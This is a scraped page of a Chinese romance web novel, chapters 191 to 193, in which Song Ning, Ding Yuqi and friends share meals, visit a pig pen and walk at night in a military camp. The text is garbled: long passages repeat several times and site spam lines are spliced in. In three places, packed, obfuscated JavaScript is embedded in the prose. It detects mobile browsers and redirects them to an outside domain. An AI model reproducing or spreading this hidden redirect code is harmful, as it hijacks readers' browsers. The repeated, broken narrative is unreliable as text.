“这样会不会不符合规定?”她不记得昨晚食堂里有点菜的模式来着,这时看着菜单不由的陷入困惑。 老姚和萝卜见她果然还是发现问题了,不由的直发愁,后者更是差点说漏嘴:“这不是食堂,是——” 后面的话被大拿踩他一脚逼了回去。 祝如星性子相对着急些,忍不住暗示道:“有没有可能他在炊事班也有熟人?” 这个熟人指的只能是丁予期。 宋凝眼明心亮,立刻就明白了其中缘故,为了不让大家扫兴,点了几道她素日里就爱吃的菜,并且不忘张罗着让其他人也点。 大拿他们都借口不饿婉拒了她的提议,只有祝如星为了合群点了一道。 唐婷后知后觉的意识到这又是丁予期变着法子的在宋凝面前展示他的技能,毫不客气的点了三菜一汤,等菜上桌又招呼着大拿他们一起吃。 菜都做好了,当然不能浪费。 大拿他们硬着头皮坐下,没吃几口就等到了穿着被汗水浸透的迷彩服的丁予期。 他为了更好的投入到训练中,特意换回了从前的衣服,这时看着倒也真的年轻了好几岁。 看起来真有点硬汉的意思。 宋凝看着丁予期又要去炊事班试手艺,又要装没事人的模样,暗暗感到好笑的同时揶揄了他一句:“不是在训练么?怎么后来没看到你了?” “这里的训练场地多,不只操场一个地方可以训练。”丁予期看了眼她面前的餐盘,见她已经吃了不少,心情好了,嘴皮子不由的跟着损了起来。 “就拿后厨举例吧,其实也是个训练的好地方,炊事兵们平时可不只要负责做饭,后勤工作也归他们管,单说那个做大锅菜的厨具就是没点力气搬不起来的。对了,他们还得负责喂猪。” 行。 现在军营里有这么多现役士兵在,愿意给她当顾问的绝对不在少数。 宋凝其实是想让丁予期帮忙挑个靠谱的,可是唐婷却是笑着说:“我已经找好了,刚刚还跟他学习了怎么把被子叠成豆腐块,这下拍试戏片段的时候,多少也算是有个拿得出手的才艺了。” 两人就着这个话题聊了许久,直到祝如星跟跟萝卜、老姚他们找过来,一行人才跟着一起去了食堂。 萝卜和老姚一路上不住的交换目光,应当是提前准备好了什么计划。 宋凝一眼看过去没瞧见丁予期的身影,已经把其中缘故猜了个七七八八,但出于好奇他们葫芦里卖的什么药,所以并没有戳穿。 倒是唐婷现在对丁予期提防的很,生怕他会用糖衣炮弹把宋凝给骗走,看过时间后问:“现在距离吹号子还有半个小时吧?” 这是她上午刚从大拿那里学到的知识点,军营里的生活有自己的节奏,而号角声就是一切活动的信号,他们现在去食堂实在是有点太早了。 老姚生怕他们会改主意不去了,忙不迭的表示:“就是因为还有半个小时,所以才得现在去啊,否则不就得人挤人了么?” “没错,老爷子也是这么考虑的。”萝卜生怕他的话没有说服力,直接把陈**又给搬出来了。 唐婷还是怀疑有诈,但是被祝如星拦到旁边去了:“我们一起去看看就知道了。” 大拿分明也是来领路的,可注意力却是不由自主的落到唐婷身上去了,见她跟祝如星嬉闹,始终替她注意着脚下的路。 这天中午,宋凝没有像昨晚一样拿着餐盘打菜,而是在大拿他们的建议下开了个小灶。 “这样会不会不符合规定?”她不记得昨晚食堂里有点菜的模式来着,这时看着菜单不由的陷入困惑。 老姚和萝卜见她果然还是发现问题了,不由的直发愁,后者更是差点说漏嘴:“这不是食堂,是——” 后面的话被大拿踩他一脚逼了回去。 祝如星性子相对着急些,忍不住暗示道:“有没有可能他在炊事班也有熟人?” 这个熟人指的只能是丁予期。 宋凝眼明心亮,立刻就明白了其中缘故,为了不让大家扫兴,点了几道她素日里就爱吃的菜,并且不忘张罗着让其他人也点。 大拿他们都借口不饿婉拒了她的提议,只有祝如星为了合群点了一道。 唐婷后知后觉的意识到这又是丁予期变着法子的在宋凝面前展示他的技能,毫不客气的点了三菜一汤,等菜上桌又招呼着大拿他们一起吃。 菜都做好了,当然不能浪费。 大拿他们硬着头皮坐下,没吃几口就等到了穿着被汗水浸透的迷彩服的丁予期。 他为了更好的投入到训练中,特意换回了从前的衣服,这时看着倒也真的年轻了好几岁。 看起来真有点硬汉的意思。 宋凝看着丁予期又要去炊事班试手艺,又要装没事人的模样,暗暗感到好笑的同时揶揄了他一句:“不是在训练么?怎么后来没看到你了?” “这里的训练场地多,不只操场一个地方可以训练。”丁予期看了眼她面前的餐盘,见她已经吃了不少,心情好了,嘴皮子不由的跟着损了起来。 “就拿后厨举例吧,其实也是个训练的好地方,炊事兵们平时可不只要负责做饭,后勤工作也归他们管,单说那个做大锅菜的厨具就是没点力气搬不起来的。对了,他们还得负责喂猪。” 行。 现在军营里有这么多现役士兵在,愿意给她当顾问的绝对不在少数。 宋凝其实是想让丁予期帮忙挑个靠谱的,可是唐婷却是笑着说:“我已经找好了,刚刚还跟他学习了怎么把被子叠成豆腐块,这下拍试戏片段的时候,多少也算是有个拿得出手的才艺了。” 两人就着这个话题聊了许久,直到祝如星跟跟萝卜、老姚他们找过来,一行人才跟着一起去了食堂。 萝卜和老姚一路上不住的交换目光,应当是提前准备好了什么计划。 宋凝一眼看过去没瞧见丁予期的身影,已经把其中缘故猜了个七七八八,但出于好奇他们葫芦里卖的什么药,所以并没有戳穿。 倒是唐婷现在对丁予期提防的很,生怕他会用糖衣炮弹把宋凝给骗走,看过时间后问:“现在距离吹号子还有半个小时吧?” 这是她上午刚从大拿那里学到的知识点,军营里的生活有自己的节奏,而号角声就是一切活动的信号,他们现在去食堂实在是有点太早了。 老姚生怕他们会改主意不去了,忙不迭的表示:“就是因为还有半个小时,所以才得现在去啊,否则不就得人挤人了么?” “没错,老爷子也是这么考虑的。”萝卜生怕他的话没有说服力,直接把陈**又给搬出来了。 唐婷还是怀疑有诈,但是被祝如星拦到旁边去了:“我们一起去看看就知道了。” 大拿分明也是来领路的,可注意力却是不由自主的落到唐婷身上去了,见她跟祝如星嬉闹,始终替她注意着脚下的路。 这天中午,宋凝没有像昨晚一样拿着餐盘打菜,而是在大拿他们的建议下开了个小灶。 “这样会不会不符合规定?”她不记得昨晚食堂里有点菜的模式来着,这时看着菜单不由的陷入困惑。 老姚和萝卜见她果然还是发现问题了,不由的直发愁,后者更是差点说漏嘴:“这不是食堂,是——” 后面的话被大拿踩他一脚逼了回去。 祝如星性子相对着急些,忍不住暗示道:“有没有可能他在炊事班也有熟人?” 这个熟人指的只能是丁予期。 宋凝眼明心亮,立刻就明白了其中缘故,为了不让大家扫兴,点了几道她素日里就爱吃的菜,并且不忘张罗着让其他人也点。 大拿他们都借口不饿婉拒了她的提议,只有祝如星为了合群点了一道。 唐婷后知后觉的意识到这又是丁予期变着法子的在宋凝面前展示他的技能,毫不客气的点了三菜一汤,等菜上桌又招呼着大拿他们一起吃。 菜都做好了,当然不能浪费。 大拿他们硬着头皮坐下,没吃几口就等到了穿着被汗水浸透的迷彩服的丁予期。 他为了更好的投入到训练中,特意换回了从前的衣服,这时看着倒也真的年轻了好几岁。 看起来真有点硬汉的意思。 宋凝看着丁予期又要去炊事班试手艺,又要装没事人的模样,暗暗感到好笑的同时揶揄了他一句:“不是在训练么?怎么后来没看到你了?” “这里的训练场地多,不只操场一个地方可以训练。”丁予期看了眼她面前的餐盘,见她已经吃了不少,心情好了,嘴皮子不由的跟着损了起来。 “就拿后厨举例吧,其实也是个训练的好地方,炊事兵们平时可不只要负责做饭,后勤工作也归他们管,单说那个做大锅菜的厨具就是没点力气搬不起来的。对了,他们还得负责喂猪。” 行。 现在军营里有这么多现役士兵在,愿意给她当顾问的绝对不在少数。 宋凝其实是想让丁予期帮忙挑个靠谱的,可是唐婷却是笑着说:“我已经找好了,刚刚还跟他学习了怎么把被子叠成豆腐块,这下拍试戏片段的时候,多少也算是有个拿得出手的才艺了。” 两人就着这个话题聊了许久,直到祝如星跟跟萝卜、老姚他们找过来,一行人才跟着一起去了食堂。 萝卜和老姚一路上不住的交换目光,应当是提前准备好了什么计划。 宋凝一眼看过去没瞧见丁予期的身影,已经把其中缘故猜了个七七八八,但出于好奇他们葫芦里卖的什么药,所以并没有戳穿。 倒是唐婷现在对丁予期提防的很,生怕他会用糖衣炮弹把宋凝给骗走,看过时间后问:“现在距离吹号子还有半个小时吧?” 这是她上午刚从大拿那里学到的知识点,军营里的生活有自己的节奏,而号角声就是一切活动的信号,他们现在去食堂实在是有点太早了。 老姚生怕他们会改主意不去了,忙不迭的表示:“就是因为还有半个小时,所以才得现在去啊,否则不就得人挤人了么?” “没错,老爷子也是这么考虑的。”萝卜生怕他的话没有说服力,直接把陈**又给搬出来了。 唐婷还是怀疑有诈,但是被祝如星拦到旁边去了:“我们一起去看看就知道了。” 大拿分明也是来领路的,可注意力却是不由自主的落到唐婷身上去了,见她跟祝如星嬉闹,始终替她注意着脚下的路。 这天中午,宋凝没有像昨晚一样拿着餐盘打菜,而是在大拿他们的建议下开了个小灶。 “这样会不会不符合规定?”她不记得昨晚食堂里有点菜的模式来着,这时看着菜单不由的陷入困惑。 老姚和萝卜见她果然还是发现问题了,不由的直发愁,后者更是差点说漏嘴:“这不是食堂,是——” 后面的话被大拿踩他一脚逼了回去。 祝如星性子相对着急些,忍不住暗示道:“有没有可能他在炊事班也有熟人?” 这个熟人指的只能是丁予期。 宋凝眼明心亮,立刻就明白了其中缘故,为了不让大家扫兴,点了几道她素日里就爱吃的菜,并且不忘张罗着让其他人也点。 大拿他们都借口不饿婉拒了她的提议,只有祝如星为了合群点了一道。 唐婷后知后觉的意识到这又是丁予期变着法子的在宋凝面前展示他的技能,毫不客气的点了三菜一汤,等菜上桌又招呼着大拿他们一起吃。 菜都做好了,当然不能浪费。 大拿他们硬着头皮坐下,没吃几口就等到了穿着被汗水浸透的迷彩服的丁予期。 他为了更好的投入到训练中,特意换回了从前的衣服,这时看着倒也真的年轻了好几岁。 看起来真有点硬汉的意思。 宋凝看着丁予期又要去炊事班试手艺,又要装没事人的模样,暗暗感到好笑的同时揶揄了他一句:“不是在训练么?怎么后来没看到你了?” “这里的训练场地多,不只操场一个地方可以训练。”丁予期看了眼她面前的餐盘,见她已经吃了不少,心情好了,嘴皮子不由的跟着损了起来。 “就拿后厨举例吧,其实也是个训练的好地方,炊事兵们平时可不只要负责做饭,后勤工作也归他们管,单说那个做大锅菜的厨具就是没点力气搬不起来的。对了,他们还得负责喂猪。” 行。 现在军营里有这么多现役士兵在,愿意给她当顾问的绝对不在少数。 宋凝其实是想让丁予期帮忙挑个靠谱的,可是唐婷却是笑着说:“我已经找好了,刚刚还跟他学习了怎么把被子叠成豆腐块,这下拍试戏片段的时候,多少也算是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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大拿他们都借口不饿婉拒了她的提议,只有祝如星为了合群点了一道。 唐婷后知后觉的意识到这又是丁予期变着法子的在宋凝面前展示他的技能,毫不客气的点了三菜一汤,等菜上桌又招呼着大拿他们一起吃。 菜都做好了,当然不能浪费。 大拿他们硬着头皮坐下,没吃几口就等到了穿着被汗水浸透的迷彩服的丁予期。 他为了更好的投入到训练中,特意换回了从前的衣服,这时看着倒也真的年轻了好几岁。 看起来真有点硬汉的意思。 宋凝看着丁予期又要去炊事班试手艺,又要装没事人的模样,暗暗感到好笑的同时揶揄了他一句:“不是在训练么?怎么后来没看到你了?” “这里的训练场地多,不只操场一个地方可以训练。”丁予期看了眼她面前的餐盘,见她已经吃了不少,心情好了,嘴皮子不由的跟着损了起来。 “就拿后厨举例吧,其实也是个训练的好地方,炊事兵们平时可不只要负责做饭,后勤工作也归他们管,单说那个做大锅菜的厨具就是没点力气搬不起来的。对了,他们还得负责喂猪。” 行。 现在军营里有这么多现役士兵在,愿意给她当顾问的绝对不在少数。 宋凝其实是想让丁予期帮忙挑个靠谱的,可是唐婷却是笑着说:“我已经找好了,刚刚还跟他学习了怎么把被子叠成豆腐块,这下拍试戏片段的时候,多少也算是有个拿得出手的才艺了。” 两人就着这个话题聊了许久,直到祝如星跟跟萝卜、老姚他们找过来,一行人才跟着一起去了食堂。 萝卜和老姚一路上不住的交换目光,应当是提前准备好了什么计划。 宋凝一眼看过去没瞧见丁予期的身影,已经把其中缘故猜了个七七八八,但出于好奇他们葫芦里卖的什么药,所以并没有戳穿。 倒是唐婷现在对丁予期提防的很,生怕他会用糖衣炮弹把宋凝给骗走,看过时间后问:“现在距离吹号子还有半个小时吧?” 这是她上午刚从大拿那里学到的知识点,军营里的生活有自己的节奏,而号角声就是一切活动的信号,他们现在去食堂实在是有点太早了。 老姚生怕他们会改主意不去了,忙不迭的表示:“就是因为还有半个小时,所以才得现在去啊,否则不就得人挤人了么?” “没错,老爷子也是这么考虑的。”萝卜生怕他的话没有说服力,直接把陈**又给搬出来了。 唐婷还是怀疑有诈,但是被祝如星拦到旁边去了:“我们一起去看看就知道了。” 大拿分明也是来领路的,可注意力却是不由自主的落到唐婷身上去了,见她跟祝如星嬉闹,始终替她注意着脚下的路。 这天中午,宋凝没有像昨晚一样拿着餐盘打菜,而是在大拿他们的建议下开了个小灶。 “这样会不会不符合规定?”她不记得昨晚食堂里有点菜的模式来着,这时看着菜单不由的陷入困惑。 老姚和萝卜见她果然还是发现问题了,不由的直发愁,后者更是差点说漏嘴:“这不是食堂,是——” 后面的话被大拿踩他一脚逼了回去。 祝如星性子相对着急些,忍不住暗示道:“有没有可能他在炊事班也有熟人?” 这个熟人指的只能是丁予期。 宋凝眼明心亮,立刻就明白了其中缘故,为了不让大家扫兴,点了几道她素日里就爱吃的菜,并且不忘张罗着让其他人也点。 大拿他们都借口不饿婉拒了她的提议,只有祝如星为了合群点了一道。 唐婷后知后觉的意识到这又是丁予期变着法子的在宋凝面前展示他的技能,毫不客气的点了三菜一汤,等菜上桌又招呼着大拿他们一起吃。 菜都做好了,当然不能浪费。 大拿他们硬着头皮坐下,没吃几口就等到了穿着被汗水浸透的迷彩服的丁予期。 他为了更好的投入到训练中,特意换回了从前的衣服,这时看着倒也真的年轻了好几岁。 看起来真有点硬汉的意思。 宋凝看着丁予期又要去炊事班试手艺,又要装没事人的模样,暗暗感到好笑的同时揶揄了他一句:“不是在训练么?怎么后来没看到你了?” “这里的训练场地多,不只操场一个地方可以训练。”丁予期看了眼她面前的餐盘,见她已经吃了不少,心情好了,嘴皮子不由的跟着损了起来。 “就拿后厨举例吧,其实也是个训练的好地方,炊事兵们平时可不只要负责做饭,后勤工作也归他们管,单说那个做大锅菜的厨具就是没点力气搬不起来的。对了,他们还得负责喂猪。” 行。 现在军营里有这么多现役士兵在,愿意给她当顾问的绝对不在少数。 宋凝其实是想让丁予期帮忙挑个靠谱的,可是唐婷却是笑着说:“我已经找好了,刚刚还跟他学习了怎么把被子叠成豆腐块,这下拍试戏片段的时候,多少也算是有个拿得出手的才艺了。” 两人就着这个话题聊了许久,直到祝如星跟跟萝卜、老姚他们找过来,一行人才跟着一起去了食堂。 萝卜和老姚一路上不住的交换目光,应当是提前准备好了什么计划。 宋凝一眼看过去没瞧见丁予期的身影,已经把其中缘故猜了个七七八八,但出于好奇他们葫芦里卖的什么药,所以并没有戳穿。 倒是唐婷现在对丁予期提防的很,生怕他会用糖衣炮弹把宋凝给骗走,看过时间后问:“现在距离吹号子还有半个小时吧?” 这是她上午刚从大拿那里学到的知识点,军营里的生活有自己的节奏,而号角声就是一切活动的信号,他们现在去食堂实在是有点太早了。 老姚生怕他们会改主意不去了,忙不迭的表示:“就是因为还有半个小时,所以才得现在去啊,否则不就得人挤人了么?” “没错,老爷子也是这么考虑的。”萝卜生怕他的话没有说服力,直接把陈**又给搬出来了。 唐婷还是怀疑有诈,但是被祝如星拦到旁边去了:“我们一起去看看就知道了。” 大拿分明也是来领路的,可注意力却是不由自主的落到唐婷身上去了,见她跟祝如星嬉闹,始终替她注意着脚下的路。 这天中午,宋凝没有像昨晚一样拿着餐盘打菜,而是在大拿他们的建议下开了个小灶。 “这样会不会不符合规定?”她不记得昨晚食堂里有点菜的模式来着,这时看着菜单不由的陷入困惑。 老姚和萝卜见她果然还是发现问题了,不由的直发愁,后者更是差点说漏嘴:“这不是食堂,是——” 后面的话被大拿踩他一脚逼了回去。 祝如星性子相对着急些,忍不住暗示道:“有没有可能他在炊事班也有熟人?” 这个熟人指的只能是丁予期。 宋凝眼明心亮,立刻就明白了其中缘故,为了不让大家扫兴,点了几道她素日里就爱吃的菜,并且不忘张罗着让其他人也点。 大拿他们都借口不饿婉拒了她的提议,只有祝如星为了合群点了一道。 唐婷后知后觉的意识到这又是丁予期变着法子的在宋凝面前展示他的技能,毫不客气的点了三菜一汤,等菜上桌又招呼着大拿他们一起吃。 菜都做好了,当然不能浪费。 大拿他们硬着头皮坐下,没吃几口就等到了穿着被汗水浸透的迷彩服的丁予期。 他为了更好的投入到训练中,特意换回了从前的衣服,这时看着倒也真的年轻了好几岁。 看起来真有点硬汉的意思。 宋凝看着丁予期又要去炊事班试手艺,又要装没事人的模样,暗暗感到好笑的同时揶揄了他一句:“不是在训练么?怎么后来没看到你了?” “这里的训练场地多,不只操场一个地方可以训练。”丁予期看了眼她面前的餐盘,见她已经吃了不少,心情好了,嘴皮子不由的跟着损了起来。 “就拿后厨举例吧,其实也是个训练的好地方,炊事兵们平时可不只要负责做饭,后勤工作也归他们管,单说那个做大锅菜的厨具就是没点力气搬不起来的。对了,他们还得负责喂猪。” 第一百九十一章 过不去的梗 说这话时,他还故意冲着宋凝眨了下眼睛,让她想起了那本久违的《养猪的十大技巧》。 怀疑他根本是在变着法子跟他斗嘴。 ……这简直成了他们两个之间的一个过不去的梗了。 老姚在这方面很有心得,热情表示:“嫂子,我以前就是负责这些的,你要是感兴趣,下午就带你去参观猪圈。” 军营里还真有猪圈。 讲真的,宋凝还真想见识一下。 于是她点头道:“好啊,我吃过猪肉,但是还真没见过猪跑,下午就麻烦你带路了。” 唐婷和祝如星也没见过活生生的猪,闻言附和着也要去。 “我也去我也去!” 丁予期看着兴致勃勃双眼发光的唐婷,又看了一下眉心微微蹙着的一脸不赞同的大拿,突然来了灵感,饶有兴致地问道:“唐小姐,你可是大明星,猪圈那种地方可不干净。” 唐婷豪气的一挥手:“我可是个演员,演员就是要体验生活!说不定以后我还会接年代戏呢。” 丁予期轻笑,“也对。” 他又看了一眼大拿,只见大拿还是一副老神在在的样子。 但多年兄弟,丁予期还是一眼就看了出来,大拿平静无波的脸上,多了一丝微微的不赞同。 老姚和萝卜倒是很开心,跟大明星大美女一起喂猪? 这也算是人生一大体验了! 一片其乐融融中,丁予期状似无意的清了清嗓子。 坐在他旁边的萝卜立刻反应过来,冲着老姚挤眉弄眼道:“你哪儿有空啊,下午不是说好了要去探望老朋友们么?军犬基地离这儿不近。” 老姚从前还在军营里的时候,动物缘就特别好,再加上他有事没事都会去帮忙照顾军犬,那里的大伙早就跟他混熟了。 只是他之前有提过类似的行程安排么? 宋凝狐疑的看过去,刚刚还目露迷茫之色的老姚的目光立刻变得清澈起来:“多亏你提醒我了,不然我都要放他们鸽子了。” 他说完这句,不忘再跟她道个歉:“不好意思啊,我差点把之前的安排搞忘了,不如这样吧,让丁儿陪你们去,他下午有时间。” 宋凝又扭过脸看向丁予期问:“你下午不是有训练么?” 丁予期面不改色:“可以没有。” 他当着众人的面给外公打了个电话,短暂交谈过几句后说:“已经搞定了,外公答应我可以之后再补上下午的训练。” 宋凝见事情进展如此顺利,不 你的朋友正在书荒,快去帮帮他吧 禁要怀疑这其实是他们串通好的。 可还不等她开口,祝如星已经无比期待的劝道:“去吧,我还没见过会跑会跳的小猪呢,说不定比宠物店里的小猪还可爱。” 唐婷对猪不是特别感兴趣,也不认为这能给接下来竞争电影提供帮助,可她有心多考察丁予期一番,还是跟着去了。 老姚和萝卜说是有约在先,走的无比利落,倒是大拿不知是没接收到他们的眼风,还是也想去看看炊事班养的小猪,还是跟他们一起去了。 军营里的猪圈打扫的还算干净,但跟想象中的还是大不一样。 宋凝想起丁予期先前同她斗嘴时提到过的那本养猪指南,不禁好奇起了他从前在军营里的经历。 刚想问他是不是真的养过猪,侧目之际却是先看到了正跟大拿聊的开心的唐婷。 两人的职业是八竿子打不着,但站在一起却莫名登对,简直像是偶像剧里走出来的伴侣。 宋凝若有所思的看着,到底是没有出言打扰,更没有多做不该做的事,说不该说的话,而是立刻换了个话题跟丁予期交谈,并且连话音都放低了。 一下午的时间过得比预想中快得多。 唐婷得知丁予期要回去补缺的训练时长,便暂时结束考察,继续向大拿咨询狙击手的相关知识去了,就连祝如星也寻到了极为上镜的人选,力劝对方配合她拍照去了。 宋凝虽然成了自己一个人待着,但瞧着她们两个有喜欢的事情做也发自内心的感到开心,索性趁着今晚天气好,独自在军营里顺着小路散起了步。 这是她来到这里的第二天,对周围环境还很陌生,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256300|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军营里是不需要担心安全问题的,于是她索性由着性子走,一路踩着月光漫无目的的顺着小路走。 直到在一处建筑的侧门外看到熟悉的身影。 丁予期晚间训练穿着全套迷彩服,身影乍一看几乎跟军营里的其他人一模一样。 但宋凝不知怎的,还是一眼就把他认出来了,朗声跟他打了个招呼:“丁予期!这么晚了还不回去么?” 训练结束的号角声早就响过了。 丁予期身形一僵,迅速抬手驱散了身前的烟雾,但转身之际指尖没来得及掐灭的一点火光还是暴露了他此时到底在做什么。 宋凝对上他局促的目光,出于善意提醒道:“我记得吸烟有害健康来着,你要不要再考虑一下?” 军营里的大部分地方都是禁烟的,他能找到这么个地方其实也不容易,况且她如今也算是了解他的个性,知道他此时必然是遇到了值得忧愁的事,故而劝得委婉,并没有直接让他别抽。 可丁予期的态度却远比她所以为的还要更拿得出手:“最后一根,我从今晚开始就不会再抽了。” 他话音未落,已经把掐灭后的烟跟烟盒一起扔进了垃圾桶,就连打火机也没留下。 宋凝认可他的决心,不过还是不失关怀的问:“今天遇到什么麻烦了么?” 丁予期摇了摇头,向她所在的地方靠近了几步,等两人的影子重合在一起才开口道:“暂时没有,我只是有些担心你不习惯这里的生活,不仅是住宿条件比不上酒店,环境也跟外面不同。” “除了祝如星和唐婷,你在这里根本遇不到女孩子,天天跟一帮不知道怎么照顾女孩子的糙老爷们相处,难免会觉得生活无聊吧?” 他希望她在这里住的称心如意,所以格外在意她的评价和感受。 宋凝抿唇一笑:“拜托,我是个有手有脚的成年人,自己就能照顾好自己,而且我来这里又不是为了被照顾的。” 丁予期意识到说错了话,无措的找补道:“我不是那个意思。” 他向来牙尖嘴利,今晚却是难得说不出囫囵话了,显然是心头压着尚未出口的心事。 第一百九十二章 今晚月色真美 宋凝温声道:“谢谢你。 “其实就算你不说,我也看的出来,你带我们来这里,不只是为了完成答应唐婷的事,也是为了在不惊动任何人的情况下,把我们跟傅东擎隔绝开来吧?你怕他万一公布那些照片,唐婷会受不了。 傅东擎在外面或许手眼通天,但他要是敢把手伸到这样的禁区里来,那他们就不必发愁怎么对付他,直接送他上法庭也就是了。 丁予期正在利用这一点,才给他们争取了一段平静的时光,可问题的核心显然还没有得到妥善解决。 “我主要是怕你会受不了。 宋凝心如明镜,如果唐婷真的出事,她必定是受不了的。 她点了点头:“经过这几天的相处,你应该也看出来了,唐婷的脾气非常火爆,要是她知道傅东擎在用自己的照片威胁我,是绝对不会忍的,甚至有可能破罐子破摔,自己出来扛了。 丁予期不想也不会让宋凝看到那一天,他郑重向她承诺道:“越是重要的话越是不能说的次数太多,否则难免会失去效力,但我向你保证,事情绝不会走到那一步。 宋凝其实是相信他的,但她无法相信傅东擎,神情苦涩道:“但愿吧。 祈祷是她能为唐婷做的为数不多的事情之一。 丁予期不想影响宋凝的心情,见她又开始忧虑,眨了眨眼睛表示:“我带你们来这里其实多少也有点私心,那就是希望你能放松心情,现在从效果看来我果然还是应该有些更实际的举动。 他摸出手机,打开不久前刚收到的文件介绍道:“这是瑞贝卡发给我的,丽晶酒店的装修进度比预期中更快,过不了多久就能验收了。 宋凝得知父亲留下的酒店有了进展,瞬间被转移了注意力,她接过手机看了又看,眼前跟着泛起红晕:“这跟我记忆里的场景一模一样,可那已经是十几年前的事了,你是怎么做到的? “丽晶酒店从前在南城也算有些名气,资料并不难找,当年的设计师更是至今尚未退休,我只是花了点心思,联络上他们罢了。 丁予期话说得很轻巧,可凡是做过类似项目的人都知道这有多不容易。 当年的设计师团队经过这么多年的发展,在业内的地位和所需的费用早已经是不可同日而语,更何况有些装修和材料和家具早就随着时代发展退出了市场,想要一比一复刻非定制不可。 宋凝伸手轻抚着屏幕上熟悉的画面,细看了许久之后破涕为笑道:“谢谢你这么用心,虽然装修还跟当初一 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 模一样,但吊灯和饮水设备都换了新的,一定花了不少功夫吧?” 丁予期仅仅是见她高兴就够欣慰的了,等听到她的夸奖,更是心花怒放的说起了他这么做的理念:“丽晶酒店回归开业最大的优势和卖点就是年代感,但客人是来住宿的,不能只有体验。” 他做了好些年的律师,但却丝毫不曾影响到他在商业上的判断能力,单看这份洞察力就让宋凝愿意跟着他继续学了,至少他是一个很优秀的上司和导师。 两人并肩站在路灯下,脚下的影子渐渐重合在了一起。 不远处的小楼里,陈老爷子正笑容满面的站在楼下看,时不时的还欣慰不已的对陪在身边的于副官说:“你看她们两个多般配啊。” 他站在这里看了好一会儿了,本来是发现丁予期偷偷抽烟,打算过去教训这小子一顿的。 没想到会有意外收获,这时已然把抽烟的事抛到九霄云外,乐呵呵的就顾着欣赏丁予期和宋凝相处。 于副官跟随陈老爷子多年,说是看着丁予期长大的也不为过,这时也连连点头附和:“太好了,从前总觉得予期没长那根筋,还担心他孤独终老,现在他总算是开窍了。” 话说到一半,他激动的都要拿袖子抹泪了。 陈老爷子听到这里,倒是稍微回过神来了,当即清了清嗓子,恢复理智道:“你先别高兴的太早,他们两个现在是有点进展了不假,但这放在以前顶多算是压马路,距离谈婚论嫁还远着呢。” “陈**,那该怎么办?时代不一样了,现在的年轻人思想都开阔的很,不以结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256301|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚为目的的话,不是委屈了宋小姐么?”于副官思维老派,真是生怕他们两个不在一起。 与此同时,路灯下的丁予期和宋凝则是肩并肩走远了。 两人的影子在地上拖出长长的痕迹,渐渐消失在了楼上两位长辈的视野中。 陈老爷子在部队里待了许多年,社会经验丰富,看人的眼光也准,说是个老狐狸也不为过,这时便认真分析起眼下的情况。 “予期喜欢小凝是板上钉钉的事,我看他们相互之间也是有好感,按理说这种事急不来,但旁人不急也就算了,我们还是得加一把火,让这小子自己追,这媳妇还不知道什么时候到手呢!” 他是发自内心的替自家外孙着急,生怕丁予期好不容易老房子着火一次,结果却白白的落空,压低声音对于副官吩咐道:“得再给他们加一把火。” 于副官的表情从最初的迷茫变成满是喜色,等把他的吩咐记下,更是回了声“是”,立马就去办了。 另一边的宋凝和丁予期都还对即将发生的事一无所知,只沐浴着月光往宿舍方向走去,同时有一搭没一搭的聊了些酒店里的事。 不知具体是从什么时候开始,他们之间的话题变得越来越多,并且再也容不下傅东擎的身影了,仿佛他们的相识从来都跟这个人无关。 **无云的夜晚最不缺的就是月光。 宋凝因此瞧见了唐婷站立在操场边缘的身影,想都不想的就要笑着打招呼:“唐——” 她的话才刚出口,身侧的丁予期就拉住她的手,然后竖起一根手指抵在唇上做了个噤声的手势。 见她果然收声,并且用疑惑的目光看过来,这才又指了指唐婷身侧的另一道人影。 夜幕下,那人的衣着极不显眼,也难怪会被宋凝一眼忽略掉,但等她看清楚了他的模样,不用丁予期再出言提醒就自觉不再招呼唐婷了,而是小声道:“他们两个这是……也打算出来散步?” “我猜应该跟我们一样。”丁予期意味深长的抬头看了眼月亮,眸底的笑意越发深了,用只有他们两个能听到的声音说:“今晚月色真美。” 第一百九十三章 总有一天你会成为影后 夏目漱石的经典念白。 意思已经不言而喻。 偏偏就在丁予期开口的同一时刻,远处的唐婷那里又发生了变故,瞬间吸引了宋凝的所有目光。 只见唐婷忽然尖叫一声往大拿所在的方向跑去,看起来被吓的不轻。 大拿胳膊上还打着石膏,但却丝毫不影响动作的敏捷,他迅速上前飞起一脚,然后便有只老鼠迅速窜到了远处的灌木丛里。 宋凝松了口气:“原来是老鼠,唐婷脾气急,胆子也大,但她最害怕的就是老鼠,还好有大拿在。” 深夜时分,操场上早就没什么人了。 丁予期和宋凝都担心他们俩会影响到大拿和唐婷的相处,不约而同的选择降低存在感,躲到不远处的树下,两人的身影跟婆娑的树影融为一体。 大拿向来成熟稳重,可在唐婷面前却像是换了个人似的,他不失局促的对她说:“吓到你了?” 明明有那么多解决老鼠的办法,怎么偏偏选择了最粗鲁的一种呢? 到底是个女孩子,大拿微微蹙眉,有些后悔。 